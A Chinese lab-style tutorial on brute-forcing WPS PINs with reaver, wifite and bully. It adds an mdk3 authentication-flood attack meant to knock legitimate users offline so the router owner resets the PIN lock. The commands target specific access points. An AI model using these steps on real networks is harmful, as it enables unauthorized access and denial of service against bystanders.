实验原理:WPS(Wi-Fi Protected Setup)是由Wi-Fi联盟组织实施的可选认证项目,主要是为了简化无线局域网安全及安全性能的配置工作。用户只需要简单按下路由器上的WPS按钮或者输入PIN码,即可快速连接到Wi-Fi网络。
WPS PIN码共8位,其中第8位是校验和,所以只需计算出前7位即可。在实施PIN破解时,可以分别判断PIN的前四位和后三位是否正确。因此,PIN码只有10^4+10^3=11000种变化。
那么在实际破解尝试中,最多只需试验11000次,平均只需试验5500次就能破解。
reaver
1. 开启无线网卡的监听模式
airmon-ng start wlan0
2.使用wash工具扫描开启WPS的AP
wash -i wlan0mon
选项 | 说明 |
---|---|
BSSID | AP 的MAC地址 |
Ch | AP的工作信道 |
dBm | 接收的信号强度 |
WPS | WPS的版本 |
Lck | WPS是否锁定 |
Vendor | 生成厂商 |
ESSID | AP的SSID |
查看有WPS功能的AP
airodump-ng --wps wlan0mon
3. 使用reaver工具进行破解
Reaver是一款暴力破解PIN码的工具,将尝试一系列的PIN码,直到破解出正确的PIN码,而且还可以恢复出WPA/WPA2密码。其语法格式如下:
reaver -i [interface] -b [ap的mac地址]
可以使用reaver --help
查看帮助文档。
参数说明:
选项 | 说明 |
---|---|
-i | 指定监听的无线接口 |
-b | 指定目标AP的mac地址 |
-S | 使用最小的DH key,可以提高破解速度 |
-v ; -vv ; -q | 显示非严重警告 ; 显示更多, 相对应的 ; 只显示关键信息 |
-d | 即delay每穷举一次的闲置时间,预设为1秒 |
-c | 信道号码 |
-p | 使用指定PIN码的四位或八位开始破解。 |
reaver -i wlan0mon -b 18:D9:8F:66:CD:7C -v -S
以“kong”作为攻击目标
使用指定PIN码进行破解,以“Netsec109_2”作为攻击目标
reaver -i wlan0mon -b 64:09:80:17:ED:2F -p 1234 -vv -S
wifite
wifite是一款自动化WEP、WPA和 WPS破解工具。用于破解WPS加密的语法格式如下:
wifite --wps --wps-only --bully
选项 | 说明 |
---|---|
–wps | 仅显示启用WPS功能的无线网络。 |
–wps-only | 仅实施WPS PIN和Pixie-Dust攻击。 |
–bully | 使用bully程序实施WPS PIN和Pixie-Dust攻击。 |
–ignore-locks | 当AP锁定后,继续WPS PIN攻击。 |
wifite --wps --wps-only --bully --ignore-locks
选择一个想要攻击的编号
Bully
Bully也是一款利用路由器的WPS漏洞来破解WIFI的工具。其语法格式如下:
bully --bssid [AP的MAC地址] -c [channel] [interface] -vv
选项 | 说明 |
---|---|
interface | 指定监听的无线接口。 |
-b,–bssid | 指定目标AP的MAC地址。 |
-c,–channel | 指定目标AP工作的信道。 |
-vv | 显示更详细的信息。 |
bully --bssid 18:D9:8F:66:CD:7C wlan0mon -c 11
以“kong”作为攻击目标
防止锁PIN
目前,大部分路由器都自带防PIN功能。当穷举PIN码暴力破解时,连续使用超过特定次数的PIN码后,路由器会暂时锁定WPS功能一段时间。这种情况,需要耐心等待其恢复WPS功能。也可以使用mdk3发起洪水攻击,使得路由器合法用户无法使用网络,从而迫使路由器主人重启路由器,即可解除PIN锁。
AP认证洪水攻击,就是向AP发送大量虚假的连接请求。当发送的请求超过AP所能承受的范围时,AP就会自动断开现有连接,使得合法用户无法使用网络。其语法格式如下:
mdk3 <interface> a <test_options>
选项 | 说明 |
---|---|
interface | 指定用于攻击的网络接口,需是监听模式的接口。 |
a | 实施身份验证洪水攻击模式。 |
-a | 指定要攻击的目标AP的MAC地址。 |
mdk3 wlan0mon a -a 18:D9:8F:66:CD:7C
使用airodump-ng监测,可以看到界面下方瞬间出现了大量的伪造客户端,且连接的目标AP均为”18:D9:8F:66:CD:7C”。
airodump-ng wlan0mon -c 11 --bssid 18:D9:8F:66:CD:7C